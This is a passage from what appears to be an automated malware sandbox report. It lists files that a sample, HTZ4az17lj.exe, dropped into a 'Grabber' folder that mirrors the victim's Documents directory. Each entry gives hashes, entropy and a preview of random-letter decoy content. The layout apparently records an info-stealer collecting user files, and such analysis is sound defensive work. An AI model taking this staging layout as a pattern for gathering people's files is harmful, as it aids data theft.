Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.5218877566914193
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmclDmo0qmJclLwr2FlDmo0IWVvklrgl2FlDmo0qjKArn:QCGwv4o0o4o0mlLwiF4o090UsF4o01Ar
MD5:	50A956778107A4272AAE83C86ECE77CB
SHA1:	10BCE7EA45077C0BAAB055E0602EEF787DBA735E
SHA-256:	B287B639F6EDD612F414CAF000C12BA0555ADB3A2643230CBDD5AF4053284978
SHA-512:	D1DF6BDC871CACBC776AC8152A76E331D2F1D905A50D9D358C7BF9ED7C5CBB510C9D52D6958B071E5BCBA7C5117FC8F9729FE51724E82CC45F6B7B5AFE5ED51A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.1.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.9.0.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.9.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.8.....

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\NVWZAPQSQL.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\NVWZAPQSQL\EIVQSAOTAQ.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\NVWZAPQSQL\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\NVWZAPQSQL\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\NVWZAPQSQL\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\NVWZAPQSQL\ZIPXYXWIOY.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\PALRGUCVEH.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\PIVFAGEAAV.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.685942106278079
Encrypted:	false
SSDEEP:	24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
MD5:	3F6896A097F6B0AE6A2BF3826C813DFC
SHA1:	951214AB37DEA766005DD981B0B3D61F936B035B
SHA-256:	E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
SHA-512:	C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
Malicious:	false
